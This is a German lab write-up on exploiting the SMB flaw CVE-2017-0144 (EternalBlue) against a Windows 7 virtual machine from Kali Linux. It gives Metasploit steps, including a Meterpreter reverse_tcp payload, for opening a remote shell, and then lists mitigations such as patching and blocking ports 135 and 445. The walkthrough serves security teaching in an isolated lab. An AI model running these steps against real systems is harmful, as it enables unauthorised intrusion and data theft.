SMB-Protocol-Vulnerability_CVE-2017-0144

LAB: ANGRIFF AUF WINDOWS-BETRIEBSSYSTEME AUF BASIS DER SMB-PROTOKOLL-SICHERHEITSLÜCKE.

• 1. BESCHREIBUNG
• 2. ALLGEMEINE EINFÜHRUNG
• 3. VORBEREITUNG
• 4. DURCHFÜHRUNG DES ANGRIFFS
• 5. SCHUTZMASSNAHMEN

1. BESCHREIBUNG

In diesem Lab verwenden wir zwei Computer, um einen Angriff auf Basis der Sicherheitslücke im SMB-Protokoll des Windows-Betriebssystems zu simulieren. Ein Computer läuft mit dem Betriebssystem Kali Linux und übernimmt die Rolle des Angreifers (Hacker). Und ein Computer übernimmt die Rolle des Opfers (Victim). Der Victim-Computer läuft mit dem 64-Bit-Betriebssystem Windows 7 und enthält die SMB-Sicherheitslücke. Um dies zu tun, verwenden wir auf dem Kali-Linux-Computer den Exploit namens EternalBlue, um den Windows-7-Computer anzugreifen.

2. ALLGEMEINE EINFÜHRUNG

Server Message Block (SMB) ist ein Dateifreigabeprotokoll, das auf der Windows-Plattform von Microsoft weit verbreitet ist. Dank dieses SMB-Protokolls können Windows-Computer, die im selben Netzwerksegment oder in derselben Domain miteinander verbunden sind, Dateien untereinander austauschen. Bis heute ist SMB auch unter dem Namen Common Internet File Sharing (CIFS) bekannt.

EternalBlue ist ein Exploit, der auf der Sicherheitslücke des SMB-Protokolls über Port 445 basiert. Ursprünglich wurde EternalBlue von der US-amerikanischen Nationalen Sicherheitsbehörde (NSA) entwickelt. Der vollständige englische Name lautet U.S. National Security Agency. Später wurde er jedoch 2017 von der Hackergruppe The Shadow Brokers geleakt. Im selben Jahr fanden weltweit groß angelegte Angriffe durch Daten verschlüsselnde Viren – Ransomware – auf Windows-Computer von Microsoft statt. Der bekannteste davon war der Virus WannaCry . Obwohl diese Sicherheitslücke inzwischen von Microsoft mit dem Sicherheitsupdate MS17-010 behoben wurde, existiert sie weltweit dennoch weiterhin auf einer großen Anzahl von Computern, die mit dem Windows-Betriebssystem laufen. Diese Sicherheitslücke wurde unter CVE-2017-0144 veröffentlicht. (Windows SMB Remote Code Execution Vulnerability). Diese Sicherheitslücke ist äußerst gefährlich und sehr leicht auszunutzen. Bemerkenswert ist, dass der Hacker für einen Angriff über diese SMB-Protokoll-Sicherheitslücke dem Opfer keinerlei schädlichen Virus senden oder es dazu verleiten muss, einen solchen herunterzuladen oder auszuführen. Das heißt, selbst wenn das Opfer überhaupt nichts tut, kann der Hacker leicht die Kontrolle über den Computer übernehmen, ohne dass das Opfer es überhaupt merkt.

3. VORBEREITUNG

Vorbereitung von 2 virtuellen Maschinen, die auf der Software VMware Workstation laufen:

• Kali-Linux-VM (Hacker-Maschine) mit der IP-Adresse: 192.168.198.140
• Windows-7-VM (Victim-Maschine) mit der IP-Adresse: 192.168.198.143

1. Auf der Kali-VM (Attack):

   • IP überprüfen: ifconfig
   • Den Dienst Postgresql starten: service postgresql start
   • Mit folgendem Befehl prüfen, ob Postgresql bereits läuft: service postgresql status

2. Auf der Windows-7-VM (Victim):

   • IP überprüfen: ipconfig
   • Firewall deaktivieren

4. DURCHFÜHRUNG DES ANGRIFFS

• Auf der Kali-Maschine: Mit dem Befehl bei Metasploit anmelden: msfconsole

• Sobald man bei Metasploit angemeldet ist, sucht man mit dem Befehl: search ms17_010 nach Exploits sowie den dazugehörigen Syntaxen im Zusammenhang mit ms17_010

• IP-Adressen der Victim- und Attack-Maschine hinzufügen
• Payload für den Exploit einrichten: use 0 -> set payload windows/x64/meterpreter/reverse_tcp

• Den Exploit ausführen, um den Angriff durchzuführen
• Nach erfolgreichem Eindringen eine Shell auf dem Opfercomputer öffnen (über das Terminal der Attack-Maschine)

=> An diesem Punkt gilt der Hacker als erfolgreich in die Victim-Maschine eingedrungen. Nun kann der Hacker Dateien vom Opfercomputer löschen oder stehlen, ohne dass das Opfer etwas davon bemerkt. Der Hacker kann sogar direkt Viren auf dem System hochladen und ausführen.

5. SCHUTZMASSNAHMEN

Um eine Ausnutzung und einen Missbrauch des SMB-Protokolls zu vermeiden, müssen folgende Maßnahmen durchgeführt werden:

• Firewall aktivieren.
• Windows auf die neueste Version aktualisieren. Oder die Sicherheitsupdates von Microsoft herunterladen und installieren. Insbesondere das Sicherheitsupdate ms17_010.
• Die Ports 135 und 445 blockieren.
  • netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=135 name="Block_Cong_135"
  • netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 name="Block_Cong_445"